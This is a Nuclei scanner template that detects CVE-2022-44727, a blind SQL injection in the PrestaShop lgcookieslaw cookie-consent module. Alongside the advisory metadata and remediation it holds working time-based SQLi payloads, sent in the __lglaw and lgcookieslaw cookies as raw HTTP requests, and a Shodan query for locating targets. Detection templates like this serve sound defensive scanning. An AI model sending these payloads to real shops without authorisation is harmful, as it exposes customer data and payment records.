id: CVE-2022-44727 info: name: PrestaShop lgcookieslaw - SQL Injection author: mastercho severity: critical description: | The EU Cookie Law GDPR (Banner + Blocker) PrestaShop module before 2.1.3 allows blind SQL injection via the __lglaw or lgcookieslaw cookie used to store user consent choices. impact: | Successful exploitation allows unauthenticated attackers to read or modify the shop database, including customer PII and payment-related data. remediation: | Upgrade the lgcookieslaw module to version 2.1.3 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-44727 - https://security.friendsofpresta.org/modules/2022/11/06/lgcookieslaw.html - https://web.archive.org/web/2/https://securityandstuff.com/posts/cve-2022-44727/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-44727 epss-score: 0.02397 epss-percentile: 0.82294 cwe-id: CWE-89 metadata: verified: true max-request: 3 vendor: lineagrafica product: eu_cookie_law_gdpr framework: prestashop shodan-query: - http.component:"Prestashop" - http.component:"prestashop" tags: cve,cve2022,prestashop,prestashop-module,sqli,time-based-sqli,lgcookieslaw,unauth variables: rand_num: "{{rand_int(1000,9999)}}" lglaw_v1: "2,3,4,5) AND (SELECT {{rand_num}} FROM (SELECT(SLEEP(10)))vkBH) AND (9297=9297" lglaw_v2_json: "{\"lgcookieslaw_accepted_purposes\":\"[\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5) AND (SELECT {{rand_num}} FROM (SELECT(SLEEP(10)))vkBH) AND (9297=9297\\\"]\"}" lglaw_v2: "{{base64(lglaw_v2_json)}}" flow: http(1) && http(2) http: - raw: - | GET /modules/lgcookieslaw/views/css/front.css HTTP/1.1 Host: {{Hostname}} - | GET /modules/lgcookieslaw/views/js/front.js HTTP/1.1 Host: {{Hostname}} stop-at-first-match: true host-redirects: true max-redirects: 3 matchers: - type: dsl dsl: - status_code == 200 - contains(tolower(body), 'lgcookieslaw') condition: and internal: true - raw: - | @timeout: 20s GET / HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Referer: {{RootURL}} Cookie: __lglaw={{lglaw_v1}} - | @timeout: 20s GET / HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Referer: {{RootURL}} Cookie: lgcookieslaw={{lglaw_v2}} stop-at-first-match: true host-redirects: true max-redirects: 3 matchers: - type: dsl name: lglaw-v1-sqli dsl: - duration_1 >= 10 - status_code_1 == 200 condition: and - type: dsl name: lglaw-v2-sqli dsl: - duration_2 >= 10 - status_code_2 == 200 condition: and # digest: 4a0a00473045022100fa9f3152ed53b771edb467bacefdc30105ef495e050d93b98d1c1318ddd99e0102202771a1d516ca2dc9a9a9a04a8daeeeab89e5ca65666e860a20f2834b4fd5bf1c:922c64590222798bb761d5b6d8e72950